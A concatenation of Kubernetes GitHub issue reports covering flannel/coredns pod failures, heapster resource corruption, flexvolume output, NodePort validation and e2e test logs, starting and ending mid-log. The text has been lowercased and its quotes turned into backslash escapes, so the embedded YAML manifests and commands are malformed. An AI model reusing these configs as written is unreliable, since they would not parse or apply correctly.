node.kubernetes.io/network-unavailable:noschedule\r >                  node.kubernetes.io/not-ready:noexecute\r >                  node.kubernetes.io/unreachable:noexecute\r >                  node.kubernetes.io/unschedulable:noschedule\r > events:\r >   type    reason     age   from                 message\r >   ----    ------     ----  ----                 -------\r >   normal  scheduled  89m   default-scheduler    successfully assigned kube-system/kube-flannel-ds-amd64-8qlg9 to k8s-master\r >   normal  pulled     89m   kubelet, k8s-master  container image \ quay.io/coreos/flannel:v0.10.0-amd64\  already present on machine\r >   normal  pulled     51m   kubelet, k8s-master  container image \ quay.io/coreos/flannel:v0.10.0-amd64\  already present on machine\r \r \r \r >  kubectl logs --namespace kube-system kube-flannel-ds-amd64-8qlg9 -c kube-flannel\r > error from server  badrequest : container \ kube-flannel\  in pod \ kube-flannel-ds-amd64-8qlg9\  is waiting to start: podinitializing\r \r \r > root@k8s-master:~  kubectl version\r > client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.1\ , gitcommit:\ eec55b9ba98609a46fee712359c7b5b365bdd920\ , gittreestate:\ clean\ , builddate:\ 2018-12-13t10:39:04z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r > server version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.4\ , gitcommit:\ f49fa022dbe63faafd0da106ef7e05a29721d3f1\ , gittreestate:\ clean\ , builddate:\ 2018-12-14t06:59:37z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r \r for another pods:\r \r > root@k8s-master:~  kubectl describe pods coredns-757f4547d9-rtzpl  -n kube-system\r > name:               coredns-757f4547d9-rtzpl\r > namespace:          kube-system\r > priority:           0\r > priorityclassname:  <none>\r > node:               k8s-master/172.18.3.9\r > start time:         tue, 01 jan 2019 16:01:02 +0330\r > labels:             k8s-app=kube-dns\r >                     pod-template-hash=757f4547d9\r > annotations:        <none>\r > status:             pending\r > ip:                 \r > controlled by:      replicaset/coredns-757f4547d9\r > containers:\r >   coredns:\r >     container id:  \r >     image:         172.18.3.9:5000/coredns:1.2.2\r >     image id:      \r >     ports:         53/udp, 53/tcp, 9153/tcp\r >     host ports:    0/udp, 0/tcp, 0/tcp\r >     args:\r >       -conf\r >       /etc/coredns/corefile\r >     state:          waiting\r >       reason:       containercreating\r >     ready:          false\r >     restart count:  0\r >     limits:\r >       memory:  170mi\r >     requests:\r >       cpu:        100m\r >       memory:     70mi\r >     liveness:     http-get http://:8080/health delay=60s timeout=5s period=10s  success=1  failure=5\r >     environment:  <none>\r >     mounts:\r >       /etc/coredns from config-volume  ro \r >       /var/run/secrets/kubernetes.io/serviceaccount from coredns-token-2wqfh  ro \r > conditions:\r >   type              status\r >   initialized       true \r >   ready             false \r >   containersready   false \r >   podscheduled      true \r > volumes:\r >   config-volume:\r >     type:      configmap  a volume populated by a configmap \r >     name:      coredns\r >     optional:  false\r >   coredns-token-2wqfh:\r >     type:        secret  a volume populated by a secret \r >     secretname:  coredns-token-2wqfh\r >     optional:    false\r > qos class:       burstable\r > node-selectors:  <none>\r > tolerations:     criticaladdonsonly\r >                  node-role.kubernetes.io/master:noschedule\r >                  node.kubernetes.io/not-ready:noexecute for 300s\r >                  node.kubernetes.io/unreachable:noexecute for 300s\r > events:\r >   type     reason                  age                     from                 message\r >   ----     ------                  ----                    ----                 -------\r >   normal   scheduled               2m35s                   default-scheduler    successfully assigned kube-system/coredns-757f4547d9-rtzpl to k8s-master\r >   warning  failedcreatepodsandbox  2m33s                   kubelet, k8s-master  failed create pod sandbox: rpc error: code = unknown desc = failed to set up sandbox container \ 9b2694bdaf2816f9b41432e26c950704e950b87f15af5a8267fc98e65769ad14\  network for pod \ coredns-757f4547d9-rtzpl\ : networkplugin cni failed to set up pod \ coredns-757f4547d9-rtzpl_kube-system\  network: open /run/flannel/subnet.env: no such file or directory\r >   warning  failedcreatepodsandbox  2m32s                   kubelet, k8s-master  failed create pod sandbox: rpc error: code = unknown desc = failed to set up sandbox container \ edb799c77003405599ff6e84ab2d1968ec282e1d25cfca4c61a60ec7ef9405c9\  network for pod \ coredns-757f4547d9-rtzpl\ : networkplugin cni failed to set up pod \ coredns-757f4547d9-rtzpl_kube-system\  network: open /run/flannel/subnet.env: no such file or directory\r >   warning  failedcreatepodsandbox  2m30s                   kubelet, k8s-master  failed create pod sandbox: rpc error: code = unknown desc = failed to set up sandbox container \ 101110b6e4d6617c29641c581e153f12af456ddadde36dcd4181d0e0426e4f5d\  network for pod \ coredns-757f4547d9-rtzpl\ : networkplugin cni failed to set up pod \ coredns-757f4547d9-rtzpl_kube-system\  network: open /run/flannel/subnet.env: no such file or directory\r >   warning  failedcreatepodsandbox  2m28s                   kubelet, k8s-master  failed create pod sandbox: rpc error: code = unknown desc = failed to set up sandbox container \ f5a649b91857bd34f13bbef850e5b072390a58f2d7ef3e2c2969cd725efbd00c\  network for pod \ coredns-757f4547d9-rtzpl\ : networkplugin cni failed to set up pod \ coredns-757f4547d9-rtzpl_kube-system\  network: open /run/flannel/subnet.env: no such file or directory\r >   warning  failedcreatepodsandbox  2m26s                   kubelet, k8s-master  failed create pod sandbox: rpc error: code = unknown desc = failed to set up sandbox container \ a56513b40003f81faccf2100b7f3777c9e1dbf6a1481e31f568f27c135ae81b9\  network for pod \ coredns-757f4547d9-rtzpl\ : networkplugin cni failed to set up pod \ coredns-757f4547d9-rtzpl_kube-system\  network: open /run/flannel/subnet.env: no such file or directory\r >   warning  failedcreatepodsandbox  2m25s                   kubelet, k8s-master  failed create pod sandbox: rpc error: code = unknown desc = failed to set up sandbox container \ e8dcbf391c856e7fbf2a2a307ef94e871eafd10603eda738d9858c128dae385e\  network for pod \ coredns-757f4547d9-rtzpl\ : networkplugin cni failed to set up pod \ coredns-757f4547d9-rtzpl_kube-system\  network: open /run/flannel/subnet.env: no such file or directory\r >   warning  failedcreatepodsandbox  2m23s                   kubelet, k8s-master  failed create pod sandbox: rpc error: code = unknown desc = failed to set up sandbox container \ 74e92773bb17b01b72baa1e622d844554929df217237978ec9e6081f7330d25c\  network for pod \ coredns-757f4547d9-rtzpl\ : networkplugin cni failed to set up pod \ coredns-757f4547d9-rtzpl_kube-system\  network: open /run/flannel/subnet.env: no such file or directory\r >   warning  failedcreatepodsandbox  2m20s                   kubelet, k8s-master  failed create pod sandbox: rpc error: code = unknown desc = failed to set up sandbox container \ ed92b2652cee21d11bd3f80fa2317cc732c9acbe45ccdc72223d7f5755c59b0b\  network for pod \ coredns-757f4547d9-rtzpl\ : networkplugin cni failed to set up pod \ coredns-757f4547d9-rtzpl_kube-system\  network: open /run/flannel/subnet.env: no such file or directory\r >   warning  failedcreatepodsandbox  2m18s                   kubelet, k8s-master  failed create pod sandbox: rpc error: code = unknown desc = failed to set up sandbox container \ ef4c4c0b9ff7d752802c3e7f9a52eccd9081fbe762a95b378a874a2d0d11531a\  network for pod \ coredns-757f4547d9-rtzpl\ : networkplugin cni failed to set up pod \ coredns-757f4547d9-rtzpl_kube-system\  network: open /run/flannel/subnet.env: no such file or directory\r >   normal   sandboxchanged          2m12s  x12 over 2m33s   kubelet, k8s-master  pod sandbox changed, it will be killed and re-created.\r >   warning  failedcreatepodsandbox  2m11s  x4 over 2m17s    kubelet, k8s-master   combined from similar events : failed create pod sandbox: rpc error: code = unknown desc = failed to set up sandbox container \ 51ea1d68bebc10c873ac67a1462549129fa9a2bf3d2fd0b2250900eb1125b4e4\  network for pod \ coredns-757f4547d9-rtzpl\ : networkplugin cni failed to set up pod \ coredns-757f4547d9-rtzpl_kube-system\  network: open /run/flannel/subnet.env: no such file or directory\r \r \r even i deleted two pods  but it no change anything\r \r

user has data:      yaml apiversion: v1beta3 items: - apiversion: v1beta3   kind: endpoints   metadata:     creationtimestamp: 2015-04-23t16:45:00z     name: kubernetes     namespace: default     resourceversion: \ 6\      selflink: /api/v1beta1/endpoints/kubernetes?namespace=default     uid: 14f60e33-e9d8-11e4-b436-0800278433f5   subsets:   - addresses:     - ip: 10.245.1.2     ports:     - port: 6443       protocol: tcp - apiversion: v1beta3   kind: endpoints   metadata:     creationtimestamp: 2015-04-23t16:45:00z     name: kubernetes-ro     namespace: default     resourceversion: \ 7\      selflink: /api/v1beta1/endpoints/kubernetes-ro?namespace=default     uid: 14f62c39-e9d8-11e4-b436-0800278433f5   subsets:   - addresses:     - ip: 10.245.1.2     ports:     - port: 7080       protocol: tcp - apiversion: v1beta3   kind: endpoints   metadata:     creationtimestamp: 2015-04-23t16:48:01z     name: pulp-db     namespace: default     resourceversion: \ 97\      selflink: /api/v1beta1/endpoints/pulp-db?namespace=default     uid: 8128f36c-e9d8-11e4-b436-0800278433f5   subsets:   - addresses:     - ip: 10.246.1.3       targetref:         kind: pod         name: pulp-db         namespace: default         resourceversion: \ 96\          uid: 82459855-e9d8-11e4-b436-0800278433f5     ports:     - name: mongo       port: 27017       protocol: tcp - apiversion: v1beta3   kind: endpoints   metadata:     creationtimestamp: 2015-04-23t16:48:02z     name: pulp-http     namespace: default     resourceversion: \ 59\      selflink: /api/v1beta1/endpoints/pulp-http?namespace=default     uid: 81cc0ac9-e9d8-11e4-b436-0800278433f5   subsets:    - apiversion: v1beta3   kind: endpoints   metadata:     creationtimestamp: 2015-04-23t16:48:03z     name: pulp-https     namespace: default     resourceversion: \ 61\      selflink: /api/v1beta1/endpoints/pulp-https?namespace=default     uid: 821cbdec-e9d8-11e4-b436-0800278433f5   subsets:    - apiversion: v1beta3   kind: endpoints   metadata:     creationtimestamp: 2015-04-23t16:48:02z     name: pulp-msg     namespace: default     resourceversion: \ 89\      selflink: /api/v1beta1/endpoints/pulp-msg?namespace=default     uid: 8178d2b7-e9d8-11e4-b436-0800278433f5   subsets:   - addresses:     - ip: 10.246.1.2       targetref:         kind: pod         name: pulp-msg         namespace: default         resourceversion: \ 88\          uid: 82705015-e9d8-11e4-b436-0800278433f5     ports:     - name: amqp       port: 5672       protocol: tcp kind: list metadata: {}      but kubectl renders:      name            endpoints kubernetes      10.245.1.2:6443 kubernetes-ro   10.245.1.2:7080 pulp-db          pulp-http       <none> pulp-https      <none> pulp-msg

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r \r node taints in namespaced scope.\r \r   why is this needed  :\r \r since the  kubernetes  brings us  virtual cluster  via the concept  namespace , i think it's reasonable to support namespaced node taint to prevent workloads in some namespaces from being scheduled and executed in nodes with such taint s  forcibly, and admits workloads from other namespaces without requirement of toleration s .\r \r current node taint works in an optional way, users could easily get their workloads scheduled to those tainted nodes with tolerations, but this should not happen when these workloads are not acceptable  e.g. workloads from  testing  to  production  .\r \r this feature will enable:\r \r 1. multi-staging kubernetes, we can use single  kubernetes  cluster  or more specifically, single master group  for both  testing ,  staging  and  production  with hardware isolation in the form of namespaces  no more pains for multi-cluster kubernetes to handle the upgrade \r 2. enforce the protection for dedicated nodes from unexpected misconfiguration in deployment script in the way of restricting the namespace.\r 3. multi-tenant kubernetes cluster sharing one master with multiple node group  see  my multi-tenancy doc for  arhat-dev/aranya   https://github.com/arhat-dev/aranya/blob/master/docs/multi-tenancy.md 10-prevent-user-bar-from-creating-pods-runing-in-cluster-nodes  for the example in edge device management \r \r this feature makes the  virtual cluster  finally the meaning of  namespace .

in today's /summary api, volumestats doesn't include storage medium type, so that we might misaccount /tmpfs usage as a disk usage.

the combination of nodeport and headless is not valid today.  the apiserver allows it but kube-proxy does not implement it.  we should either say that nodeport should treat the set of backends just like the service vip or we should make apiserver reject it.  i lean towards the latter.  it should be a very simple change, great for someone who doesn't know this logic so well to learn it.

see: https://github.com/kubernetes/kubernetes/pull/29741  the pr has go source and is for the master branch. however the bot said it is not for master and applied retest-not-required-docs-only.      this pr is not for the master branch but does not have the cherrypick-approved label. adding the do-not-merge label.  @k8s-merge-robotk8s-merge-robot added do-not-merge retest-not-required-docs-only labels 6 minutes ago  hide all checks

right now  func init   's are used for registration of admission plugins, cloud providers and some apis. this turns out to be   really   heavyweight when using a binary like hyperkube.  for example, if we're running  /hyperkube kubelet , a lot of admission plugins are registered although the aren't required at all. and if we're some time going to do  /hyperkube kubectl  for real, it's going to be a pain to register a lot of things that aren't relevent for every execution.  this also broke arm hyperkube:  29904  so i propose to add a  registerplugins    method to  cmd/kube /app/plugins.go  and make it the caller of  cmd/kube /app 's responsibility to call  app.registerplugins    before calling  app.run     in some cases, it's not really possible to call  app.registerplugins    in a specific method, and then we may fallback to run  app.registerplugins    in the caller's  func init    to preserve the earlier behaviour.  ref:  16508  i'll upload two poc prs, and if they are fixing the arm hyperkube issue, i strongly think we should merge them before v1.4  @smarterclayton @lavalamp @vishh @kubernetes/sig-api-machinery @jbeda @timothysc

failed: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-staging-parallel/976/  run so broken it didn't make junit output!

i0222 06:34:25.223  node \ node-v1-test\  created\r w0222 06:34:25.446  error from server  conflict : error when replacing \ stdin\ : operation cannot be fulfilled on nodes \ node-v1-test\ : the object has been modified; please apply your changes to the latest version and try again\r w0222 06:34:25.453  !!!  0222 06:34:25  call tree:\r w0222 06:34:25.455  !!!  0222 06:34:25   1: /go/src/k8s.io/kubernetes/hack/make-rules/test-cmd-util.sh:2853 run_pod_tests ... \r w0222 06:34:25.458  !!!  0222 06:34:25   2: hack/make-rules/test-cmd.sh:142 runtests ... \r i0222 06:34:25.759  +++  0222 06:34:25  clean up complete\r \r @kubernetes/sig-cli-api-reviews

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r yes\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r _ipoib, infiniband_\r ---\r \r   is this a bug report or feature request?    choose one :\r bug report  most probably \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-15t06:34:56z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  :\r 8 nodes, 2 infiniband switches  internal networking , 1 ethernet switch  used to access outside world  \r -   os    e.g. from /etc/os-release :\r distributor id:\tubuntu\r description:\tubuntu 16.04.2 lts\r release:\t16.04\r codename:\txenial\r \r -   kernel    e.g.  uname -a  :\r 4.4.0-63-generic  84-ubuntu smp wed feb 1 17:20:32 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r -   install tools  :\r kubeadm, kubectl,  as mentioned above \r \r docker version \r client:\r  version:      1.12.3\r  api version:  1.24\r  go version:   go1.6.2\r  git commit:   6b644ec\r  built:        mon, 19 dec 2016 09:20:48 +1300\r  os/arch:      linux/amd64\r \r server:\r  version:      1.12.3\r  api version:  1.24\r  go version:   go1.6.2\r  git commit:   6b644ec\r  built:        mon, 19 dec 2016 09:20:48 +1300\r  os/arch:      linux/amd64\r \r -   others  :\r \r \r   what happened  :\r after running  kubeadm init --api-advertise-addresses=<infiniband ip> \r \r  error seen through  journalctl -fu kubelet.service  \r _unexpected command output device \ eth0\  does not exist._\r \r when running pods, they remain in pending stage\r \r   what you expected to happen  :\r when we use ethernet switch, the pods run smoothly. the problem exists only when using inifiniband\r \r   how to reproduce it    as minimally and precisely as possible :\r see above\r \r   anything else we need to know  :\r \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.2-beta.0.21+2d31e28fa69e15\ , gitcommit:\ 2d31e28fa69e152965b3e5f7de96a2892bf4cd1c\ , gittreestate:\ clean\ , builddate:\ 2017-04-08t16:24:49z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.0\ , gitcommit:\ fff5156092b56e6bd60fff75aad4dc9de6b6ef37\ , gittreestate:\ clean\ , builddate:\ 2017-03-28t16:24:30z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r   environment  :\r -   cloud provider or hardware configuration  : vms created by virtualbox in windows laptop\r -   os    e.g. from /etc/os-release :\r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r -   kernel    e.g.  uname -a  :\r linux master 3.10.0-514.10.2.el7.x86_64  1 smp fri mar 3 00:04:05 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  : kubeadm\r -   others  :\r \r \r   what happened  :\r when create add-on service of heapster, the heapster deployment is automaticallly updated with the container resource request of cpu of 50800m, and memory of 8589935104126m, so that the pod is pending status and the container fails to be created.\r  \r   what you expected to happen  :\r heapster pods are created with specificed resource request and limit\r \r   how to reproduce it    as minimally and precisely as possible :\r create heapster with following yaml file\r \r    \r ---\r kind: service\r apiversion: v1\r metadata:\r   name: heapster\r   namespace: kube-system\r   labels:\r     kubernetes.io/cluster-service: \ true\ \r     kubernetes.io/name: \ heapster\ \r spec: \r   type: nodeport\r   ports: \r     - port: 80\r       targetport: 8082\r   selector: \r     k8s-app: heapster\r ---\r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name:  heapster-v1.3.0\r   namespace: kube-system\r   labels:\r     k8s-app: heapster\r     kubernetes.io/cluster-service: \ true\ \r     version: v1.3.0\r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       k8s-app: heapster\r       version: v1.3.0\r   template:\r     metadata:\r       labels:\r         k8s-app: heapster\r         version: v1.3.0\r     spec:\r       tolerations: \r       - key: \ node-role.kubernetes.io/master\ \r         operator: \ exists\ \r         effect: \ noschedule\ \r       containers:\r       - image: gcr.io/google_containers/heapster:v1.3.0\r         name: heapster\r         resources:\r             limits:\r               cpu: 50m\r             requests:\r               cpu: 50m\r         livenessprobe:\r           httpget:\r             path: /healthz\r             port: 8082\r             scheme: http\r           initialdelayseconds: 180\r           timeoutseconds: 5\r         command:\r           - /heapster\r           - --source=kubernetes.summary_api:''\r       - image: gcr.io/google_containers/addon-resizer:1.7\r         name: heapster-nanny\r         resources:\r             limits:\r               cpu: 50m\r             requests:\r               cpu: 50m\r         env:\r           - name: my_pod_name\r             valuefrom:\r               fieldref:\r                 fieldpath: metadata.name\r           - name: my_pod_namespace\r             valuefrom:\r               fieldref:\r                 fieldpath: metadata.namespace\r         command:\r           - /pod_nanny\r           - --cpu=50\r           - --extra-cpu=50m\r           - --memory=512\r           - --extra-memory=512mi\r           - --threshold=5\r           - --deployment=heapster-v1.3.0\r           - --container=heapster\r           - --poll-period=300000\r           - --estimator=exponential\r \r    \r \r   anything else we need to know  :\r \r after submit the request to create the deployment of heapster, a replicateset is created with the specified resource request and resource limit. however several seconds later, a new replicateset is created with the wrong resource requeset and resource limit  not sure which component update the deployment and have no idea where the strange number of resource request and limit comes from . \r the deployment.kubernetes.io/revision of the deployment is changed to 2, and the original spec in kubectl.kubernetes.io/last-applied-configuration is the right one. \r the following is the related log from kube-controller-manager.\r \r    \r i0415 04:26:45.798183       1 event.go:217  event v1.objectreference{kind:\ deployment\ , namespace:\ kube-system\ , name:\ heapster-v1.3.0\ , uid:\ bc1b0ea2-2193-11e7-aca3-525400225b53\ , apiversion:\ extensions\ , resourceversion:\ 66784\ , fieldpath:\ \ } : type: 'normal' reason: 'scalingreplicaset' scaled up replica set heapster-v1.3.0-4130267015 to 1\r i0415 04:26:45.808776       1 event.go:217  event v1.objectreference{kind:\ replicaset\ , namespace:\ kube-system\ , name:\ heapster-v1.3.0-4130267015\ , uid:\ bc1b9b81-2193-11e7-aca3-525400225b53\ , apiversion:\ extensions\ , resourceversion:\ 66785\ , fieldpath:\ \ } : type: 'normal' reason: 'successfulcreate' created pod: heapster-v1.3.0-4130267015-bxn4x\r i0415 04:26:51.186397       1 event.go:217  event v1.objectreference{kind:\ deployment\ , namespace:\ kube-system\ , name:\ heapster-v1.3.0\ , uid:\ bc1b0ea2-2193-11e7-aca3-525400225b53\ , apiversion:\ extensions\ , resourceversion:\ 66814\ , fieldpath:\ \ } : type: 'normal' reason: 'scalingreplicaset' scaled up replica set heapster-v1.3.0-210577459 to 1\r i0415 04:26:51.199166       1 event.go:217  event v1.objectreference{kind:\ replicaset\ , namespace:\ kube-system\ , name:\ heapster-v1.3.0-210577459\ , uid:\ bf522478-2193-11e7-aca3-525400225b53\ , apiversion:\ extensions\ , resourceversion:\ 66815\ , fieldpath:\ \ } : type: 'normal' reason: 'successfulcreate' created pod: heapster-v1.3.0-210577459-k7dpn\r i0415 04:26:51.209890       1 event.go:217  event v1.objectreference{kind:\ deployment\ , namespace:\ kube-system\ , name:\ heapster-v1.3.0\ , uid:\ bc1b0ea2-2193-11e7-aca3-525400225b53\ , apiversion:\ extensions\ , resourceversion:\ 66814\ , fieldpath:\ \ } : type: 'normal' reason: 'scalingreplicaset' scaled down replica set heapster-v1.3.0-4130267015 to 0\r i0415 04:26:51.231636       1 event.go:217  event v1.objectreference{kind:\ replicaset\ , namespace:\ kube-system\ , name:\ heapster-v1.3.0-4130267015\ , uid:\ bc1b9b81-2193-11e7-aca3-525400225b53\ , apiversion:\ extensions\ , resourceversion:\ 66821\ , fieldpath:\ \ } : type: 'normal' reason: 'successfuldelete' deleted pod: heapster-v1.3.0-4130267015-bxn4x\r    \r \r

it is possible to define multiple ports for a single service e.g.:\r    \r ports:\r       - name: gate1\r         protocol: tcp\r         port: 4040\r         targetport: 9100\r       - name: gate2\r         protocol: tcp\r         port: 4041\r         targetport:9101\r    \r given that i configure my pods that are matched to the service to run in a port range 9100:9199, is it possible to learn that the communication arrived at port 4040  gate1  or 4041  gate2 ?

is this a bug report or feature request?  :\r  > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r when i create persistentvolume, yaml like that:\r    shell\r apiversion: v1\r kind: persistentvolume\r metadata:\r   name: pv-flex-lvm\r spec:\r   capacity:\r     storage: 0.1gi\r   accessmodes:\r     - readwriteonce\r   flexvolume:\r     driver: foo/lvm\r    \r than describe it, got : \r    shell\r name:            pv-flex-lvm\r labels:          <none>\r annotations:     kubectl.kubernetes.io/last-applied-configuration={\ apiversion\ :\ v1\ ,\ kind\ :\ persistentvolume\ ,\ metadata\ :{\ annotations\ :{},\ name\ :\ pv-flex-lvm\ ,\ namespace\ :\ \ },\ spec\ :{\ accessmodes\ : \ readwriteonce\  ,...\r storageclass:    \r status:          available\r claim:           \r reclaim policy:  retain\r access modes:    rwo\r capacity:        107374182400m\r message:         \r source:\r     type:    flexvolume  a generic volume resource that is provisioned/attached using an exec based plugin \r     driver:      options:  %v\r \r     fstype:                                           foo/lvm\r     secretref:                                        \r     readonly:                                         <nil>\r %! extra bool=false, map string string=map   events:  <none>\r    \r   what you expected to happen  :\r like that:\r    shell\r name:            pv-flex-lvm\r labels:          <none>\r annotations:     kubectl.kubernetes.io/last-applied-configuration={\ apiversion\ :\ v1\ ,\ kind\ :\ persistentvolume\ ,\ metadata\ :{\ annotations\ :{},\ name\ :\ pv-flex-lvm\ ,\ namespace\ :\ \ },\ spec\ :{\ accessmodes\ : \ readwriteonce\  ,...\r storageclass:    \r status:          available\r claim:           \r reclaim policy:  retain\r access modes:    rwo\r capacity:        107374182400m\r message:         \r source:\r     type:       flexvolume  a generic volume resource that is provisioned/attached using an exec based plugin \r     driver:     foo/lvm\r     fstype:     \r     secretref:  <nil>\r     readonly:   false\r     options:    map  \r events:         <none>\r    \r   how to reproduce it  as minimally and precisely as possible   :\r what's said in  what happened \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : master\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

 \r   what happened  :\r kubelet logs lot of  orphaned pod \ 2663ce08-d054-11e7-b7ee-00505684022a\  found, but volume paths are still present on disk.  when it starts and a pod was deleted while it was offline.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. run a pod with aws ebs volume  should work also with gce or any other volume \r 2. stop kubelet\r 3. delete the pod\r 4. start kubelet\r \r it's not always reproducible, is there some sort of race?\r \r my current theory:\r \r   desiredstateofworldpopulator scans pods and adds this pod to dsw\r \r   reconciler.syncstates   runs.\r     it finds mounted volume\r     but it does   not   add it to actual state of world because it's in dsw:\r https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/volumemanager/reconciler/reconciler.go l361\r \r   when kubelet fully starts, it kills the pod and cleans dsw, but the volume never reached aws so nothing is unmounted. \r \r \r   environment  :\r - kubernetes version  use  kubectl version  : today's master\r \r i have troubles reproducing this on master.\r \r   @jingxu97 @gnufied

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r followup to https://github.com/kubernetes/kubernetes/pull/71095 issuecomment-439558701.  in 1.15, we can merge this commit: https://github.com/msau42/kubernetes/commit/068278f856ec54ec2493db6f7eb9e34750b1a434\r \r @kubernetes/sig-storage-bugs \r \r <!-- do not edit below this line -->\r 

\r 16:14:39 • failure in spec setup  beforeeach   28.584 seconds \r 16:14:39  sig-network  networkpolicy\r 16:14:39 /home/vagrant/go/src/github.com/kubernetes/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/network/framework.go:22\r 16:14:39   networkpolicy between server and client\r 16:14:39   /home/vagrant/go/src/github.com/kubernetes/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/network/network_policy.go:47\r 16:14:39     should enforce policy based on podselector  feature:networkpolicy   beforeeach \r 16:14:39     /home/vagrant/go/src/github.com/kubernetes/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/network/network_policy.go:87\r 16:14:39 \r 16:14:39     dec  4 15:14:27.603: pod client-can-connect-80 should be able to connect to service svc-server, but was not able to connect.\r 16:14:39     pod logs:\r 16:14:39     /bin/sh: curl: not found\r 16:14:39     /bin/sh: curl: not found\r 16:14:39     /bin/sh: curl: not found\r 16:14:39     /bin/sh: curl: not found\r 16:14:39     /bin/sh: curl: not found\r 16:14:39     \r 16:14:39     \r 16:14:39      current networkpolicies:\r 16:14:39     \t  \r 16:14:39     \r 16:14:39      pods:\r 16:14:39     \t pod: server, status: &podstatus{phase:running,conditions: {initialized true 0001-01-01 00:00:00 +0000 utc 2018-12-04 15:14:09 +0000 utc  } {ready true 0001-01-01 00:00:00 +0000 utc 2018-12-04 15:14:17 +0000 utc  } {containersready true 0001-01-01 00:00:00 +0000 utc 2018-12-04 15:14:17 +0000 utc  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2018-12-04 15:14:09 +0000 utc  } ,message:,reason:,hostip:192.168.36.12,podip:10.10.1.237,starttime:2018-12-04 15:14:09 +0000 utc,containerstatuses: {server-container-80 {nil containerstaterunning{startedat:2018-12-04 15:14:13 +0000 utc,} nil} {nil nil nil} true 0 gcr.io/kubernetes-e2e-test-images/porter:1.0 docker-pullable://gcr.io/kubernetes-e2e-test-images/porter@sha256:d6389405e453950618ae7749d9eee388f0eb32e0328a7e6583c41433aa5f2a77 docker://d4db04bb6146e4e80200f1ba142625430ac5170dbb5fb5a7a0fb3956ed39a142} {server-container-81 {nil &containerstaterunning{startedat:2018-12-04 15:14:13 +0000 utc,} nil} {nil nil nil} true 0 gcr.io/kubernetes-e2e-test-images/porter:1.0 docker-pullable://gcr.io/kubernetes-e2e-test-images/porter@sha256:d6389405e453950618ae7749d9eee388f0eb32e0328a7e6583c41433aa5f2a77 docker://e3a08ed763f4d8e852cd7758c03e7bdc281a42a3e18d5252e4ddcd311a75da7e} ,qosclass:besteffort,initcontainerstatuses:  ,nominatednodename:,}\r 16:14:39      pod: server, status: &podstatus{phase:running,conditions: {initialized true 0001-01-01 00:00:00 +0000 utc 2018-12-04 15:14:09 +0000 utc  } {ready true 0001-01-01 00:00:00 +0000 utc 2018-12-04 15:14:17 +0000 utc  } {containersready true 0001-01-01 00:00:00 +0000 utc 2018-12-04 15:14:17 +0000 utc  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2018-12-04 15:14:09 +0000 utc  } ,message:,reason:,hostip:192.168.36.12,podip:10.10.1.237,starttime:2018-12-04 15:14:09 +0000 utc,containerstatuses: {server-container-80 {nil containerstaterunning{startedat:2018-12-04 15:14:13 +0000 utc,} nil} {nil nil nil} true 